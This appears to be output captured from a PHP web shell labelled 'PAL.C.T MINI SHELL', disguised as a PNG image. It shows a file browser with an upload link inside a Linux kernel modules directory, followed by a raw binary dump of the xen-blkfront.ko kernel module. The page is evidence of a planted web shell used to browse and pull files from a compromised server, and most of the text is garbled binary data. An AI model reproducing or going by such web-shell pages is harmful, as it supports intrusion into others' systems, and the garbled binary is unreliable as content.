php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /lib/modules/2.6.32-431.11.2.el6.i686/kernel/drivers/block/
upload
files >> //lib/modules/2.6.32-431.11.2.el6.i686/kernel/drivers/block/xen-blkfront.ko

ELFl4(('GNUMh9fvw\$t$։|$@LH@P<F?L$ЉT$ʉ1҅ۉt&غ[V)
i>)Ӊډ
>ډ$T$$fV;T$wsfF1\$t$|$Í&;D$sك 1t	1z
VSøЃC$Lt`vC(u-HtǃHǃD[^Ðt&K81C(C8빍UWVS0B(1P@׺@@1C<C,C0C4 k8S8@=t=xQC(DtR1҉[^_]Í&%EЉy1҉C8볐t&D@p	\$$Hl$t&C(D$2D$5D$FD$D$$DD$2D$>D$FD$D$$FD$bD$mD$pD$D$$D$11D$4$D$D$D$4$1҉#mD$4$D$E&D$l$|$4$D$mLΐyƐD$D$4$'SÃLҺE‰D$C$D$[Ðt&PUWVS\D$$D$ D$4D$$D$@T$@BdD$4@0A49A,\$@{$tf|$@GdD$<x$vT$XBD$<T$<@8щD$(B,R4\$,t$<!iD$,D$<T$0pJBB|$@L$,kT$0lT$(B@H@t$@N4^8HX|$<O fHF B@~ yB@T$@t$<B<kT$0l|$(<\@CiD$,L$<D$L\$8D$PD$(|TfVD$XT$HNL$DD$TT$<L$@BPA ك$D$T=u	1T$PD$HL$T	GT$D	DGD$L\$8D$PC9D$L}G)=7%Et$<F,iD$,|$(kT$0lpt@D$XD$ (D$<L$<$`T$@D$$D$$L$ t-T$4B8B,$\$4S8$S8)+r9r\[^_]ËHt& =G|$@G w0DЋG<fxt}X@8kD		t$t$@T$L$D$F4D$t$$$D$k =_$l@ t&1뇍v'SË@0C49C,u[ËLL[i'UWVSӃ4{$D$C8@D$ ${0|$0D$ 9D$0uC8T$0D$C4L$!ЉD$,klD@iМD$(pL$xt*1D$$11ɃT$$B9|iD$(tǀxǀD$(L$kD$,lT@z
Bfփ<vF<tfu8CT$$D$ǃT$z
fuD$D$0t tـ=/tЋCP( T$T$|$T$D$$띋|$09{,{0t)S8B9uz$C8@;C0tD$ <C8xT$4[^_]Ít&S{$tv[Í&yލ&UWVSÍp 8D$,\D$,1҃x$؋T$,mt
8[^_]ËT$,z$u|0D$L$,غ |$pL$t$|$f1\$,Hitxu݋|$,G,LJXLJ\1D$(fiD$XlT$,L$,R8T$ Q4Y,t$ !ډT$$klT@Ɖ|$,t$,iٜ|$,psCCˉJiɜZL$x1tftkD$$lT$ t@~1ۍ|Tt$ދ\$,|$43vCP|$4$T$|$4B9}@L$AiМk'=Dxz u%EkD$$lL$ \$,t@iFpC,D$(D$( BD$t$,FF8F$F,$V8$V8)+z9rKD$,Qv1ۃ8[^_]ftVH먻 =S({T$T$|$T$D$$Xf$t$@Lt~ہ؋t$$Í'WVSLÅƋL`CCpx;=wS9st&09wvLCǃLC[^_&U }x uƉ]1҉stW1҉CljtH_tGtG]1u}]fC]1u}]Ít&ЉT$udžT$ ;=w.Vv(T$T$t$T$D$$8fUWVS@L}|St1StV[^_]Ð11t&t2;1t[^_]ÍCt1[^_] w=jCp( L$L$|$L$t$D$$\L$/ M=@CX( \$D$$1҉$É|$t$PDžt1$t$|$fFtPt1Ɖbǃ륍&AF뾍&UĀuƍ@ ]}׉D$\t]u}]Í&C$|tCT$p@T$(T$lT$T$`D$,D$$D$ D$2D$%T$D$*D$
D$$D$\CT$h@T$D$D$LD$OD$$ǃL$pD$lT$`L$@L$dD$<T$DL$HK3LCǁI=T$TXD$Xt$X|$X|$8D$PEt$L;59D$\L$PvD$\ CL$\PL$$D$T$sPC1ljGD$\Ou+D$\]u}]É4$D$D$ɍCT$`@T$D$	D$
D$$-$CT$`L$dTT$L$$T$D$CT$`L$dP<H@Cft&GA@`=dL$TD$Xt&CP$D$/T$T$\T$=0t&99wvD$LD$\|$L<|$TD$TD$_D$caD$D$\$D$\xǀ CT$\ D$DT$HL$\A<Q@D$X9t$<T$@D$XD$XD$XD$XD$XD$XD$XD$\T$XC؉L7tL$\tD$\CC$vCǃHD$$D$XD$\959sD$89rT$PvD$\$LD$\NЀL$PD$4T$49ƉT$0D$PvD$0D$TONL$TD$_D$hk`T$)ȃaD$D$\$Kf|$TYT$T3|$TD$XD$_D$o!D$D$TaD$D$\$|$T`=dL$TxD$\bD$XONL$TD$_D$v!D$D$Tk`T$)ȃaD$D$\$D$\
L$0T$0D$4D$4D$P [=ND$\v(|$t$D$$4%D$$D$\ 3=&Cxp( |$t$D$D$$t&'UWVS@\$\$D$D$D$$t2F\$D$D$D$$=|Ѐ sD$C$ǃPǃ\CTTX1t&HitxuǃX/ǃ\Fn 11҃fC ډ[^_]ÍvD$u=98t&VD$$1=f1[^_]ÉD$4$D$[^_]Ã[:X|ChD$D$P$[^_]À5˃A'뽃!롉D$D$4$]o#{(k@Xfzy$~K_ynq


n

&n;
C
K
[np
cc
c

c!
)
8pE
Zc


x:ZPtZxZu8`n|deoPdq

				W	r		



t
x


v!&v{{]x/>r*Emp{8Tayv	o!(-2k:KRW`sw]x^,3[RYmmvx"xCMvv9^I[czm]x#xT
\
d
l
x

\

\Mi
c%^.BW`g[

%3:nt
c+
3
I`_ah}qpv{{g
=Bhy~m

g
o
Y

2Jhlq}vv%05h
p


ir
{|
j)
.=mKmTm
rcm
 cffffffff1Su
=D$D$_$_t#D$_D$$h=td`=trt_؃[i/6;@
JV
jow`

`
blkfront_connect blkfront_probexlblk_initsda_is_xvdablkfront_resumeblkif_interruptdo_blkif_requestblkfront_removeblkback_changedblkif_ioctl $(DL`} .	H}}w!}&}+}0}5}$(04<@HLTX`dlpx|!////allocating shared ringblkifstarting transaction%uring-refevent-channelwriting event-channelx86_32-abi%sprotocolwriting protocolcompleting transactionwriting ring-refdisabledenabled<6>blkfront: %s: barriers %s
readdrivers/block/xen-blkfront.cwrite%Lusectors%lusector-sizeinfo%llureading backend fields at %s%dfeature-barrierxvd%s%c%s%c%c%s%c%d%s%c%c%dxlvbd_add at %s%ivirtual-devicevirtual-device-extreading virtual-devicedevice-typecdromallocating info structure&info->mutexinclude/xen/xenbus.hxen_blkfrontvbdblkfront_resume: %s
Entered do_blkif_request
%s removed%s:%s.
bind_evtchn_to_irqhandler failed<7>xen_blkfront:do_blk_req %p: cmd %p, sec %lx, (%u/%u) buffer:%p [%s]
<7>xen_blkfront:Entered do_blkif_request
<4>blkfront: %s: write barrier op failed
<7>%s %s: xen_blkfront: Bad return from blkdev data request: %x
<7>%s %s: xen_blkfront: blkfront_resume: %s
<7>%s %s: xen_blkfront: %s removed<7>%s %s: xen_blkfront: command: 0x%x, argument: 0x%lx
<7>%s %s: xen_blkfront: FIXME: support multisession CDs later
<6>Changing capacity of (%u, %u) to %Lu sectors
<4>blkfront: vdevice 0x%x is above the extended range; ignoring
<4>blkfront: your disk configuration is incorrect, please use an xvd device instead
<4>blkfront: vdevice 0x%x might conflict with emulated IDE disks,
	 choose an xvd device namefrom xvde on
Device in use; refusing to close<7>%s %s: xen_blkfront: blkfront:blkback_changed to state %d.
<7>%s %s: xen_blkfront: %s:%s.
<6>%s: HVM does not support vbd %d as xen block device
%s: register_blkdev major: %d 
<4>xen_blk: can't get major %d with name %s
Bad return from blkdev data request: %x
do_blk_req %p: cmd %p, sec %lx, (%u/%u) buffer:%p [%s]
blkfront:blkback_changed to state %d.
FIXME: support multisession CDs later
command: 0x%x, argument: 0x%lx
V7Z%	/
H>


$(
04
<@
HL
TX
`d
alias=xenblkalias=xen:vbdalias=block-major-202-*license=GPLdescription=Xen virtual block device frontendparm=sda_is_xvda:sdX in guest config translates to xvdX, not xvd(X+4)parmtype=sda_is_xvda:boolsrcversion=901E9D861350C6A83DF7E0Cdepends=vermagic=2.6.32-431.11.2.el6.i686 SMP mod_unload modversions 686 jbnAmodule_layoutparam_get_bool>a-param_set_boolYunregister_blkdev;T__xenbus_register_frontendR0warn_slowpath_null
qregister_blkdevfxen_platform_pci_unplug&#xen_ide_unplug_unsupported 3.lstrncmp7Xxenbus_read+dev_set_drvdata) simple_strtoulEstrrchr[|J__mutex_initκ`.memcpyLjset_disk_ro[__kmalloc%(1add_disk?xblk_queue_bounce_limit|blk_queue_dma_alignmentjzblk_queue_max_segments	ϣblk_queue_max_segment_size blk_queue_segment_boundaryμblk_queue_max_hw_sectors
blk_queue_logical_block_size?blk_init_queueZ,<sprintf55alloc_disk=2revalidate_diskJxenbus_scanf%xenbus_dev_errorѣfind_next_bitzsxen_domain_type0exenbus_gatherrpxenbus_frontend_closed__put_user_1
nǡ_cond_reschedbdputT,bdget_disk~Pput_diskblk_cleanup_queues8_spin_lockdel_gendisk(mutex_unlockmutex_lockzkfreeEkmem_cache_alloc_tracemalloc_sizesyK_spin_unlock_irqrestoreqdev_driver_string*q_spin_lock_irqsave!\blk_start_queue=+dynamic_debug_enabled2?bnotify_remote_via_irqg]blk_requeue_requestgnttab_request_free_callback[gnttab_free_grant_referencesv\mem_section?sg_next?gnttab_grant_foreign_access_ref(:Zgnttab_claim_grant_referenceڒblk_rq_map_sgP8gnttab_alloc_grant_references<(__blk_end_request_all;l3blk_start_request˧=blk_peek_request􀴜dynamic_debug_enabled[I3schedule_work՗#printkXblk_queue_flushv[xenbus_switch_state+xenbus_dev_fatalxenbus_transaction_endcc	xenbus_printfxenbus_transaction_start$G
*bind_evtchn_to_irqhandlerCfree_pagestrget_phys_to_machineӻxenbus_alloc_evtchn갌bxenbus_grant_ringiRUxen_features×sg_init_table__get_free_pagesgognttab_end_foreign_accesswwunbind_from_irqhandlerxflush_scheduled_workpv_irq_opsm6]gnttab_cancel_free_callback*blk_stop_queue_spin_lock_irqdev_get_drvdataixenbus_unregister_driver&P@vbd
`\v*=/=H={?=fY==d===



 
$0
48
<H
LP
T
`
dh
l
x
|







xen_blkfronts<fHdmodule.sigFS1
	=5ل"fC	FrhX!]#bWtv	
 "#
(`1!CN"\lp	|pK
f0H@	'9):CE["e"p"w.`4 	`d 00xARaPp"|P	_"

3@.	F5Ija@nv}#	
@ B'>J\bpL "
1:Rbn	%.DVgrz,8CPcky-J`		"	-	<	Y	p							

)
C
[
m
x


xen-blkfront.cblkif_getgeoxlblk_exitblkfrontblkfront_is_readyblkif_freeblkif_io_locktalk_to_blkbackblkif_interruptxlvbd_flushblkif_restart_queue_callbackdo_blkif_requestdescriptor.35423descriptor.35417kick_pending_request_queuesdescriptor.35759blkif_restart_queueblkfront_resumedescriptor.36073blkif_openxlvbd_release_gendisknr_minorsminor_lockminorsblkfront_removedescriptor.36246blkif_ioctldescriptor.35229descriptor.35234blkif_releaseblkback_changedemulated_sd_disk_name_offsetemulated_sd_disk_minor_offsetxlvbd_block_fopsdescriptor.36204descriptor.36144__func__.36145blkfront_probe__key.35956__func__.35953xlblk_init__func__.36347sda_is_xvda__mod_alias1429__mod_alias1428__mod_alias1427__mod_license1426__mod_description1425__mod_sda_is_xvda60__mod_sda_is_xvdatype58__param_sda_is_xvda__param_str_sda_is_xvdablkfront_ids__func__.36074__func__.35760__func__.35418__func__.36247__func__.36205__func__.35230xen-blkfront.mod.c_rheldata__mod_srcversion121__module_depends____versions__mod_vermagic5unbind_from_irqhandlerset_disk_roblk_start_requestbdputxenbus_gatherdev_get_drvdatabdget_diskblk_queue_logical_block_size__this_moduleblk_queue_max_segment_sizeparam_get_boolxenbus_dev_fatalgnttab_request_free_callbackblk_requeue_requestcleanup_moduleadd_diskblk_queue_dma_alignmentxen_domain_typexenbus_readflush_scheduled_workmemcpykfreexenbus_printfblk_stop_queuexenbus_switch_statefree_pageskmem_cache_alloc_traceinit_module__blk_end_request_allblk_rq_map_sgdev_driver_stringput_diskdynamic_debug_enabledxenbus_grant_ring__get_free_pagespv_irq_opsstrrchrblk_queue_bounce_limitxenbus_alloc_evtchnxen_ide_unplug_unsupportedunregister_blkdev__xenbus_register_frontend_spin_unlock_irqrestoreregister_blkdevxenbus_transaction_endmem_sectionmutex_lock__put_user_1warn_slowpath_nullstrncmp_cond_reschedxenbus_unregister_driverparam_set_boolblk_queue_segment_boundaryblk_peek_requestdel_gendisk_spin_lock_irqprintk__mutex_initbind_evtchn_to_irqhandlerblk_queue_max_segmentsgnttab_free_grant_referencesnotify_remote_via_irqgnttab_grant_foreign_access_refrevalidate_disksprintfblk_start_queueblk_queue_flush_spin_lock_irqsavemutex_unlockxenbus_scanfxenbus_transaction_startsg_nextfind_next_bitschedule_work_spin_locksimple_strtoulgnttab_claim_grant_referencedynamic_debug_enabled2gnttab_alloc_grant_referencesxen_featuresgnttab_cancel_free_callbackmalloc_sizesget_phys_to_machineblk_queue_max_hw_sectorsdev_set_drvdataxenbus_dev_errorxenbus_frontend_closedgnttab_end_foreign_accessxen_platform_pci_unplugblk_cleanup_queuealloc_disksg_init_table__kmallocblk_init_queuexen-blkfront.ko.debugQ.rodata.str1.1.rodata.str1.4.rel.data.rheldata.rel.rodata.symtab.strtab.shstrtab.note.gnu.build-id.rel__bug_table.rel__ex_table.rel.gnu.linkonce.this_module.rel__verbose.note.module.sig.gnu_debuglink.rel__param.modinfo.rel.fixup__versions.rel.parainstructions.rel.altinstructions.bss.altinstr_replacement.rel.text.rel.init.text.rel.exit.textY4$L` H	| 	$et*
a	*$2*:*	*$V*R	+$	7, 3	T-($|-	$.$
/ 	$/ $2D/l216|	6$p6ll	$7$7b $9	89 $)X9`9@ #P 	`Q@$Q	xR $SL 	T$ -TT`?\Up%XG`
lkOkp
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`